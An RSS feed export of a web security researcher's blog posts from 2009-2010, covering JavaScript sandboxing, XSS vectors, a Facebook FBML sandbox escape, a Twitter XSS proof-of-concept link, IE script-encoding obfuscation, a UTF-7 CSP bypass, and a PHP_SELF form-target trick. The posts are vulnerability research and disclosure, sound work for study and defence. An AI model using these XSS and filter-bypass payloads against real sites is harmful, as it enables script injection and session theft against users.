<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>The Spanner</title>
	<atom:link href="http://www.thespanner.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk</link>
	<description>A tool for designers dealing with programmers dealing with designers...</description>
	<pubDate>Thu, 11 Mar 2010 16:55:13 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>Hackvertor and JSReg</title>
		<link>http://www.thespanner.co.uk/2010/03/11/hackvertor-and-jsreg/</link>
		<comments>http://www.thespanner.co.uk/2010/03/11/hackvertor-and-jsreg/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 16:55:13 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[hackvertor]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=599</guid>
		<description><![CDATA[I&#8217;m not a developer any more so I find it difficult to update the experiments I&#8217;ve been working on but I managed today to upload the work I&#8217;ve done with JSReg and update Hackvertor. They are both integrated closely together because Hackvertor allows untrusted Javascript using JSReg.
The recent upgrade to JSReg allowed me to upload [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m not a developer any more so I find it difficult to update the experiments I&#8217;ve been working on but I managed today to upload the work I&#8217;ve done with JSReg and update Hackvertor. They are both integrated closely together because Hackvertor allows untrusted Javascript using JSReg.</p>
<p>The recent upgrade to JSReg allowed me to upload the Hackvertor changes I did a while ago, it is now very nice and easy to share code between users. At the moment registration is disabled but I plan to enable it once I&#8217;ve figured a way to stop user&#8217;s overloading the tag list.</p>
<p>You can see how the integrated JSReg parser works by visiting <a href="http://hackvertor.co.uk/public">Public Hackvertor</a> this will eventually replace the original one now online. There are only a limited set of tags as I&#8217;ve not had time to code them all but we have a couple of users on there that might start adding code if they haven&#8217;t forgotten their password =)</p>
<p>I found the untrusted Javascript feature difficult to code as sharing each tag inside a tag for example would require some tricky Javascript but I think I&#8217;ve managed to pull it off. I&#8217;ll document the JSReg stuff here and how Hackvertor allows tag objects inside tags.</p>
<h3>Playing nice with JSReg</h3>
<p>In order to use the parser effectively we need to be able to inject our own objects into the sandboxed environment without compromising the security of the sandbox. To do this JSReg supports some extension functions which allows you to inject a object directly. The following code sample shows you how to do it:-</p>
<pre lang="javascript">
parser.extendWindow('$tags$',(function(tags) {
  return function(obj, callback) {
		var code = obj.$code$;
		var tag = obj.$tag$;
		var param1 = obj.$param1$;
		var param2 = obj.$param2$;
		var param3 = obj.$param3$;
	if(!tags.hasOwnProperty(tag)) {
		return null;
							}
return tags[tag].execTag(code,callback,[param1,param2,param3]);
}
})(window.Hackvertor.tags)
);
</pre>
<p>So here the &#8220;parser&#8221; is the JSReg parser, we use the extendWindow function to place a &#8220;$tags$&#8221; object within the sandbox. Notice the $ prefix and suffix, this is how JSReg protects objects/properties. We use a closure to send a Hackvertor Tag object to the sandbox which passes it a function that accepts a tag object and a callback. Hackvertor now uses callbacks for each tag, this allows conversions to be run in sequence without waiting for each function to return the output.</p>
<p>A simplified version of this can be seen below, this time we assign a value from a dom object outside of the sandbox to a reference inside the sandbox.</p>
<pre lang="javascript">
parser.extendWindow('$code$',document.getElementById('input').value);
</pre>
<h3>The new Hackvertor</h3>
<p>All tags are now user definable! Each tag can have up to three parameters, provide some help text and call existing tags from inside the sandbox <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> To create a tag you simply have to return some output, inside a tag it has some special variables that are automatically assigned when a tag is called. The special variables are listed below:-</p>
<pre lang="javascript">
code, params, tags
</pre>
<p>The code refers to the original text passed to your tag, this could be plaintext or some text that has been transformed by a previous tag. The params is a simple numeric indexed array which refers to any params supplied by the user so for instance if you tag supports 1 param, you can refer to it inside your tag as param[0]. Tags contains the Hackvertor tag reference mentioned previously and allows you to call existing tags without having to write the same code over and over. I will show below how you to call the base64 tag that currently exists in the Hackvertor tag space.</p>
<pre lang="javascript">
tags({code:'abc',tag:'base64',param1:'encode',param2:'',param3:''},function(result) {alert(result);})
</pre>
<p>So this will call the tags function defined by extending the sandbox, it accepts a object and callback as it&#8217;s arguments. I send a string &#8216;abc&#8217; and use the tag &#8216;base64&#8242; I supply one param &#8216;encode&#8217; and then use the callback to get the result of the conversion.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2010/03/11/hackvertor-and-jsreg/feed/</wfw:commentRss>
		</item>
		<item>
		<title>My RegExp is still leaking</title>
		<link>http://www.thespanner.co.uk/2010/03/04/my-regexp-is-still-leaking/</link>
		<comments>http://www.thespanner.co.uk/2010/03/04/my-regexp-is-still-leaking/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 11:10:29 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[standards]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=595</guid>
		<description><![CDATA[The great thing about standards is that sometimes they are blindly followed and it&#8217;s not until maybe years down the line that you realise they got it wrong. Personally I think standards should be organically developed in code then defined in a standard once the various flaws have been ironed out. Every standard should use [...]]]></description>
			<content:encoded><![CDATA[<p>The great thing about standards is that sometimes they are blindly followed and it&#8217;s not until maybe years down the line that you realise they got it wrong. Personally I think standards should be organically developed in code then defined in a standard once the various flaws have been ironed out. Every standard should use code samples for every single thing they define, this way it is quite easy to spot the intention and how to abuse it. </p>
<p>You could argue this is already done but I disagree, we should have standard prototypes with testing code for each then we can use the code samples and the specification. The W3 decided to release a security list which is a fantastic idea but why did we take so long?</p>
<p>Anyway things are changing and that is cool but onto my RegExp I think. Why the standards rant? Well the RegExp object was defined in the specification as a global object that can access the last result among other things of a regular expression literal. I have no idea why, the same result could be achieved using a reference to the regular expression like so:-</p>
<pre lang="javascript">
a=/a/;
a.test('a');
a.lastMatch;// This doesn't work
//RegExp.lastMatch this does work but shouldn't
</pre>
<p>So as you can see we can access the result of a expression even without reference to the variable. This is bad when we start mixing untrusted javascript in the future as we don&#8217;t want to expose other matches to different untrusted code. What new I hear you say? I posted about this before&#8230;well don&#8217;t you know that some browsers had the crazy idea of supporting regular expressions as a function, yeah true for some crazy reason rather than a regular expression being a regexp object it is a function! I would like for example the following code to return my user agent string please:-</p>
<pre lang="javascript">
javascript:alert(/.+/());
</pre>
<p>I&#8217;m not a crazy man honest <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> Lets visit <a href="http://www.apple.com/startpage/">mmm apples</a> and lets use Safari and type the string above in the url bar. What do we get? The user agent! If you look at the source code of the page, you&#8217;ll find that they use a external javascript file which runs a regexp match on the user agent because this is the lastMatch and we didn&#8217;t provide a string to the regexp in the function arguments it decides to return the lastMatch instead of the input we provide. Nice.</p>
<p>This works on Google Chrome too, you might get different results with Firefox if you have noscript installed because it runs RegExp matches on parts of the page.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2010/03/04/my-regexp-is-still-leaking/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The safety net</title>
		<link>http://www.thespanner.co.uk/2010/02/04/the-safety-net/</link>
		<comments>http://www.thespanner.co.uk/2010/02/04/the-safety-net/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 11:47:57 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[articles]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=586</guid>
		<description><![CDATA[I was thinking about how to prevent a user being exploited lately by whatever method. One thing most attacks have in common is that a user generally needs to initiate the attack by clicking on a email or web site link from a social network. There&#8217;s a obvious pattern here. Granted some attacks are conducted [...]]]></description>
			<content:encoded><![CDATA[<p>I was thinking about how to prevent a user being exploited lately by whatever method. One thing most attacks have in common is that a user generally needs to initiate the attack by clicking on a email or web site link from a social network. There&#8217;s a obvious pattern here. Granted some attacks are conducted on the application itself an XSS worm or network worm for example but these aren&#8217;t as common as the majority of attacks that require some form of initiation.</p>
<p>My solution? The safety net! When your average joe clicks on a link from twitter, they usually want to watch a funny video or something. Using this to it&#8217;s advantage the safety net detects when this happens, it is aware of the context of a email for example or that this particular social network is quite popular. When a user clicks a link from that context the browser doesn&#8217;t need to send any cookie related information from anywhere whilst in the &#8220;Safety net&#8221;. </p>
<p>It acts as a sandbox for the user protecting them from bad stuff, the user should be aware that they&#8217;re in it and should not be able to browse like normal unless they open a new window in the traditional means. It could also work for phishing, prompting the user not to enter any confidential information or maybe disabling form input completely except for whitelisted sources. Corporations could configure their safety net to be more restrictive, a policy for disabling javascript for example or maybe only allowing Flash to play video and not execute actionscript. </p>
<p>If anyone thinks this idea isn&#8217;t too crazy and decides to implement it here are a couple of suggestions I&#8217;ll refer to the Safety net as SN:-</p>
<p>1. Whilst in the SN any executed javascript or other code should always remain in the SN.<br />
2. New windows or frames should not be allowed in the SN.<br />
3. The browser should look different in the SN to inform the user that they are in a more restrictive browsing experience.<br />
4. Closing the SN should be the only way out of it and the user must be clear that is what is happening.<br />
5. Form input could be restricted in the SN.<br />
6. Session data or cookies should not be transferred from/to the SN.<br />
7. ANY form of download should not be permitted in the SN.<br />
8. Third party plugins should only be allowed in restricted mode for example a PDF file should have a restricted mode which many features are disabled like javascript. Only if this mode is enabled would the PDF be allowed to execute.<br />
9. Full screen mode should be prevented.<br />
10. In the SN it is equivalent of opening the browser for the first time. </p>
<p>Additionally I suggest a meta tag to identify social networks:-</p>
<pre lang="javascript">
&lt;meta name=&quot;identify&quot; content=&quot;Social Network&quot; /&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2010/02/04/the-safety-net/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Facebook sandbox escape</title>
		<link>http://www.thespanner.co.uk/2010/01/29/facebook-sandbox-escape/</link>
		<comments>http://www.thespanner.co.uk/2010/01/29/facebook-sandbox-escape/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 10:09:24 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=580</guid>
		<description><![CDATA[My friend mario (he who never blogs) found XSS in facebook a couple of times. This tempted me to look at their sandbox, I didn&#8217;t register for an account but just tried breaking their FBML console. 
They have their own FBML (Facebook markup language) which is just a basic HTML/CSS and a separate Javascript sandbox [...]]]></description>
			<content:encoded><![CDATA[<p>My friend <a href="http://maliciousmarkup.blogspot.com/">mario</a> (he who never blogs) found XSS in facebook a couple of times. This tempted me to look at their sandbox, I didn&#8217;t register for an account but just tried breaking their FBML console. </p>
<p>They have their own FBML (Facebook markup language) which is just a basic HTML/CSS and a separate Javascript sandbox which restricts what you can execute and access by scoping everything to the app ID. I didn&#8217;t need to break their Javascript sandbox as breaking the FBML would allow me to execute any code and accessing the document source etc.</p>
<p>I thought the best way to beat the sandbox would be through css expressions as they use the IE7 compat header. I tested their console a couple of times and in 10 minutes found that they fail to parse CSS comments correctly. Next followed incorrect html encoded quotes, so I had the right tools to break out of there but I need to execute Javascript. They allowed stuff like xpression() but I tried double encoding expression in various ways but they seemed to catch it ok. Then I checked their charset which I presumed they use UTF-8 which they do <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> I used my old trick of placing a UTF-8 BOM character before the &#8220;e&#8221; in expression and boom I had a bypass. The first one didn&#8217;t work because the quote was in the wrong place but I knew a little modification it would work and the final vector is below:-</p>
<pre lang="javascript">
&lt;div style=background-image:url('http://&amp;quot;);xss&#47;&#42;&#42;&#47;&amp;#x3a;﻿&amp;#65279expression(alert(1));+&amp;quot;')!important;&gt;&lt;/div&gt;
</pre>
<p>Note the &amp;#65278 needed to be the actual character in order to break the sandbox but the vector should execute as is anyway and it was easier to see this way. The !important part isn&#8217;t required but I just thought I&#8217;d assign priority <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> The vector has now been fixed by Facebook.</p>
<p><a href="http://tinyurl.com/ycokpwk">Facebook vector</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2010/01/29/facebook-sandbox-escape/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HTML5 new XSS vectors</title>
		<link>http://www.thespanner.co.uk/2009/12/06/html5-new-xss-vectors/</link>
		<comments>http://www.thespanner.co.uk/2009/12/06/html5-new-xss-vectors/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 12:04:47 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=573</guid>
		<description><![CDATA[So I posted some new XSS vectors on twitter and I thought I&#8217;d share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now  We have a brand new way of auto executing XSS. 
Normally when you find a XSS hole within a input element that has [...]]]></description>
			<content:encoded><![CDATA[<p>So I posted some new XSS vectors on twitter and I thought I&#8217;d share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> We have a brand new way of auto executing XSS. </p>
<p>Normally when you find a XSS hole within a input element that has filtered &lt; and &gt; you can&#8217;t exploit it automatically without using CSS expressions. The injection looks something like:-</p>
<pre lang="javascript">
&lt;input type=&quot;text&quot; USER_INPUT&gt;
</pre>
<p>Here you can do style=xss:expression(alert(1)) or moz-binding etc. but it only works on a limited number of browsers. HTML5 however lets us execute like expressions but without css styles. For example:-</p>
<pre lang="javascript">
&lt;input type=&quot;text&quot; AUTOFOCUS onfocus=alert(1)&gt;
</pre>
<p>We use the &#8220;autofocus&#8221; feature to focus our element and then the onfocus event to execute our XSS. This works with a plethora (I like that word) of tags. Any form based element it seems you can use this method:-</p>
<pre lang="javascript">
&lt;input autofocus onfocus=alert(1)&gt;
&lt;select autofocus onfocus=alert(1)&gt;
&lt;textarea autofocus onfocus=alert(1)&gt;
&lt;keygen autofocus onfocus=alert(1)&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/12/06/html5-new-xss-vectors/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ping pong obfuscation</title>
		<link>http://www.thespanner.co.uk/2009/11/23/ping-pong-obfuscation/</link>
		<comments>http://www.thespanner.co.uk/2009/11/23/ping-pong-obfuscation/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 13:45:51 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[obfuscation]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=561</guid>
		<description><![CDATA[This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I&#8217;ll start off with some simple examples:-

&#60;img src=1 language=vbs onerror=msgbox+1&#62;
&#60;img src=1 language=vbscript onerror=msgbox+1&#62;
&#60;img src=1 onerror=vbs:msgbox+1&#62;

So here we&#8217;re not obfuscating but I&#8217;m showing how IE accepts the language attribute and a labelled vbs statement to change [...]]]></description>
			<content:encoded><![CDATA[<p>This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I&#8217;ll start off with some simple examples:-</p>
<pre lang="javascript">
&lt;img src=1 language=vbs onerror=msgbox+1&gt;
&lt;img src=1 language=vbscript onerror=msgbox+1&gt;
&lt;img src=1 onerror=vbs:msgbox+1&gt;
</pre>
<p>So here we&#8217;re not obfuscating but I&#8217;m showing how IE accepts the language attribute and a labelled vbs statement to change the event to allow vbscript instead of javascript. Ok so lets play a little ping pong:-</p>
<pre lang="javascript">
execScript("MsgBox 1","vbscript"); //executes vbs from js
execScript('execScript "alert(1)","javascript"',"vbscript");
</pre>
<p>Look how we can call vbscript from javascript by using execScript and then look how we can execute from javascript to vbscript and then back to javascript again! So now we&#8217;re playing some ping pong but how can we make our little game hidden?</p>
<pre lang="javascript">
&lt;a href=# language=&quot;JScript.Encode&quot; onclick=&quot;#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@&quot;&gt;test&lt;/a&gt;
</pre>
<p>Wait what? Yeah IE supports jscript.encode within the language attribute. Remember jscript.encode? ah the old ones are the best <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> That&#8217;s it right? Well&#8230;.</p>
<pre lang="javascript">
&lt;iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@&gt;
</pre>
<p>Yeah you can use VBScript.Encode and Javascript.Encode as labels within an event! You might be going WTF right now and I can understand it because I did exactly the same but it would be silly to finish now without finishing our game of ping pong. How many rallies shall I do? I think 3 should be enough&#8230;.</p>
<pre lang="javascript">
&lt;body onload=&quot;&amp;#x6a;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x2e;&amp;#x65;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x3a;&amp;#x23;&amp;#x40;&amp;#x7e;&amp;#x5e;&amp;#x54;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x3d;&amp;#x3d;&amp;#x6e;&amp;#x58;&amp;#x2b;&amp;#x5e;&amp;#x55;&amp;#x6d;&amp;#x4d;&amp;#x6b;&amp;#x77;&amp;#x44;&amp;#x60;&amp;#x72;&amp;#x3a;&amp;#x40;&amp;#x24;&amp;#x3f;&amp;#x37;&amp;#x33;&amp;#x68;&amp;#x7a;&amp;#x62;&amp;#x29;&amp;#x29;&amp;#x7b;&amp;#x27;&amp;#x5a;&amp;#x25;&amp;#x51;&amp;#x52;&amp;#x47;&amp;#x3d;&amp;#x32;&amp;#x9;&amp;#x56;&amp;#x37;&amp;#x57;&amp;#x42;&amp;#x20;&amp;#x71;&amp;#x64;&amp;#x47;&amp;#x5c;&amp;#x3a;&amp;#x32;&amp;#x6a;&amp;#x62;&amp;#x65;&amp;#x62;&amp;#x7a;&amp;#x29;&amp;#x27;&amp;#x7b;&amp;#x37;&amp;#x3a;&amp;#x3d;&amp;#x40;&amp;#x24;&amp;#x4a;&amp;#x7e;&amp;#x45;&amp;#x25;&amp;#x6b;&amp;#x6d;&amp;#x2e;&amp;#x6b;&amp;#x61;&amp;#x4f;&amp;#x63;&amp;#x2b;&amp;#x55;&amp;#x31;&amp;#x57;&amp;#x39;&amp;#x2b;&amp;#x4a;&amp;#x2a;&amp;#x43;&amp;#x52;&amp;#x63;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x3d;&amp;#x3d;&amp;#x5e;&amp;#x23;&amp;#x7e;&amp;#x40;&quot;&gt;
</pre>
<p>Ok so I go to:-<br />
jscript->jscript.encode->jscript.encode->jscript.encode->hex entities</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/11/23/ping-pong-obfuscation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Twitter misidentifying context</title>
		<link>http://www.thespanner.co.uk/2009/11/23/twitter-misidentifying-context/</link>
		<comments>http://www.thespanner.co.uk/2009/11/23/twitter-misidentifying-context/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 12:55:25 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=552</guid>
		<description><![CDATA[This is an important post for me, not because it&#8217;s ground breaking but people don&#8217;t seem to get this when using data in certain context. If you are a dev please read this and read it until you understand it because if you misidentify context you fail and you fail pretty badly.
I reported this to [...]]]></description>
			<content:encoded><![CDATA[<p>This is an important post for me, not because it&#8217;s ground breaking but people don&#8217;t seem to get this when using data in certain context. If you are a dev please read this and read it until you understand it because if you misidentify context you fail and you fail pretty badly.</p>
<p>I reported this to twitter about two months ago, they responded and fixed four xss holes but two remain and they didn&#8217;t contact me to test the fix. </p>
<p>When you are including user input inside a javascript event within a string what do you have to escape? If you answered: &#8216;&#8221;<>\<br />
You are wrong. Twitter is wrong.</p>
<p>Take the following example:-</p>
<pre lang="javascript">
&lt;a href=# onclick=&quot;x= 'USERINPUT' &quot;&gt;test&lt;/a&gt;
</pre>
<p>So you can place your input within the single quotes and there is a place on twitter that does this:-<br />
twitterTheseResults(&#8217; \&amp;quot;\&#8217;xss&#8217;,'/search?q=&amp;a&#8230;</p>
<p>Here they are escaping &amp;quot; with \&amp;quot; and &#8216; with \&#8217;. But that isn&#8217;t enough! Why? Because it&#8217;s a javascript onclick event! Inside an event you have to escape entities! All of them!</p>
<p>Consider the following vector:-<br />
&amp;apos;,alert(1),&amp;apos;</p>
<p>No single quotes but &amp;apos; still acts as one. Please look at this test and make sure you understand how it works:-<br />
<a href="http://tinyurl.com/xssyoda">http://tinyurl.com/xssyoda</a></p>
<p>Don&#8217;t forget other entities work too &amp;#39; &amp;#x27; &amp;#39 &amp;#x27 so make sure you escape all characters within a js event like so:-</p>
<pre lang="javascript">
&lt;a href=&quot;#&quot; onclick=&quot;x='USERINPUT\x27\x22\x3c\x3e'&quot;&gt;test&lt;/a&gt;
</pre>
<p>and Twitter PLEASE fix this and related holes c&#8217;mon it&#8217;s been two months, it&#8217;s not rocket science to fix:-<br />
<a href="http://search.twitter.com/search?q=&#038;ands=blackhat+video&#038;phrase=%26apos;%29,alert%281,%26apos;&#038;ors=%26apos;%29,alert%281,%26apos;&#038;nots=%26apos;%29,alert%281,%26apos;&#038;tag=%26apos;%29,alert%281,%26apos;&#038;lang=all%26apos;,alert%281,%26apos;&#038;from=%26apos;%29,alert%281,%26apos;&#038;to=%26apos;%29,alert%281,%26apos;&#038;ref=%26apos;%29,alert%281,%26apos;&#038;near=%26apos;%29,alert%281,%26apos;&#038;within=15%26apos;%29,alert%281,%26apos;&#038;units=mi%26apos;%29,alert%281,%26apos;&#038;since=%26apos;%29,alert%281,%26apos;&#038;until=%26apos;%29,alert%281,%26apos;&#038;rpp=%26apos;%29,alert%281,%26apos;">Twitter poc (don&#8217;t tweet these results)</a></p>
<p>&amp;apos; works on non-IE browsers but the other entities mentioned work fine on IE too.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/11/23/twitter-misidentifying-context/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bypassing CSP for fun, no profit</title>
		<link>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/</link>
		<comments>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:45:19 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=545</guid>
		<description><![CDATA[I had fun at Confidence 2.0 CON, I&#8217;m gonna blog about the stuff I was holding back now  
So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly [...]]]></description>
			<content:encoded><![CDATA[<p>I had fun at Confidence 2.0 CON, I&#8217;m gonna blog about the stuff I was holding back now <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.</p>
<p>Utf-7 can be fully encoded meaning that you can conceal string characters and others. &#8216;ABC&#8217; becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:-<br />
[{'friend':'something',email:'something'} ]</p>
<p>If we can influence the &#8220;something&#8221; parts then we inject the feed with our data to bypass CSP:-<br />
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw<br />
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw<br />
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb<br />
wBiACcAOgAnAGQAbwBuAGU-'}]</p>
<p>This is what the code looks like when decoded:-<br />
[{'friend':'luke','email':''}];alert(&#8217;May the force be with you&#8217;);[{'job':'done'}]</p>
<p>We then inject the data by referencing it using a script tag and a charset:-</p>
<pre lang="javascript">
&quot;&gt;&lt;script src=&quot;http://some.website/test.json&quot; charset=&quot;utf-7&quot;&gt;&lt;/script&gt;
</pre>
<p>This successfully executes in CSP bypasing it&#8217;s restrictions because the code comes from the domain itself and doesn&#8217;t use in-line or attribute based XSS.</p>
<p>As always as demo is available here:-<br />
<a href="http://www.businessinfo.co.uk/labs/cspluke/test.html">CSP bypass</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>My RegExp is leaking</title>
		<link>http://www.thespanner.co.uk/2009/10/20/my-regexp-is-leaking/</link>
		<comments>http://www.thespanner.co.uk/2009/10/20/my-regexp-is-leaking/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 10:27:55 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=539</guid>
		<description><![CDATA[I discovered a long time ago that the Javascript specification actually encourages the global RegExp object to retain the properties from the last execution of the regular expression parser. This is quite funny and stupid because as we move forward and sites start to share the same Javascript space we will leak information that we [...]]]></description>
			<content:encoded><![CDATA[<p>I discovered a long time ago that the Javascript specification actually encourages the global RegExp object to retain the properties from the last execution of the regular expression parser. This is quite funny and stupid because as we move forward and sites start to share the same Javascript space we will leak information that we don&#8217;t want to leak.</p>
<p>Don&#8217;t get me wrong this isn&#8217;t a huge issue, it&#8217;s just one of those little spec holes which we can exploit for Obfuscation or information leakage. Noscript or Firefox I&#8217;m not sure which seems to leak the last RegExp execution when called from a event. An example of this can be viewed here:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/test_files/testff.html">Regexp leak</a></p>
<p>So when you click the link, the URL is actually built from Noscripts scan of the URL using the following code:-</p>
<pre lang="javascript">
alert(RegExp['$`']+RegExp['$&#038;']+RegExp['$\''])
</pre>
<p>This could be used for hiding a XSS payload or something, like I said not really that serious&#8230;okay onto obfuscation. We can use leftContext etc as a variable to eval and execute code based on the RegExp matches like so:-</p>
<pre lang="javascript">
/\\u0024/.test('\x61\x6c\x65\x72\x74\x28\x31\x29\x24');
eval(RegExp['$`'])
</pre>
<p>So the pattern finds \$ within the text alert(1)$ and returns the leftContext (RegExp['$`']) which is alert(1) and executes the code.</p>
<p>And finally I&#8217;ll leave you with some bonus obfuscation:-</p>
<pre lang="javascript">
eval('a'.replace(/(.+)/,'$1l').replace(/(.+)/,'$1e').replace(/(.+)/,'$1r').replace(/(.+)/,'$1t').replace(/(.+)/,'$1(').replace(/(.+)/,'$11').replace(/(.+)/,'$1)'))
</pre>
<pre lang="javascript">
eval('342342ale'.replace(/\d+/,'$`')+'rt23879'.replace(/\d+/,'$\'')+'abcdefggi(1)'.replace(/.+(\([1]\))/,'$+'))
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/10/20/my-regexp-is-leaking/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PHP self return of the slash</title>
		<link>http://www.thespanner.co.uk/2009/09/25/php-self-return-of-the-slash/</link>
		<comments>http://www.thespanner.co.uk/2009/09/25/php-self-return-of-the-slash/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 08:33:24 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=533</guid>
		<description><![CDATA[Not posted for a while because I couldn&#8217;t think of anything interesting to say but I thought about something I found ages ago in PHP4 and it&#8217;s been long enough now. This is also quite funny because my server is vulnerable to this (that&#8217;s what I get for crappy hosting).
So what happens if you escape [...]]]></description>
			<content:encoded><![CDATA[<p>Not posted for a while because I couldn&#8217;t think of anything interesting to say but I thought about something I found ages ago in PHP4 and it&#8217;s been long enough now. This is also quite funny because my server is vulnerable to this (that&#8217;s what I get for crappy hosting).</p>
<p>So what happens if you escape PHP_SELF with htmlentities($_SERVER['PHP_SELF'], ENT_QUOTES)? Safe from XSS? I hope so. Safe from everything? Well not really or at least it didn&#8217;t used to be. You see PHP does some crazy things with the URL and it&#8217;s possible to change a form target to an external URL without using any unsafe characters. Take the following example:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/php_self/login.php">Login form</a></p>
<p>This form simulates some web application login and uses PHP_SELF to output the URL because for some reason the developer doesn&#8217;t want to type &#8220;login.php&#8221; or use __FILE___. The URL is escaped from XSS but we can change the form target by simply supplying slashes <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> e.g.</p>
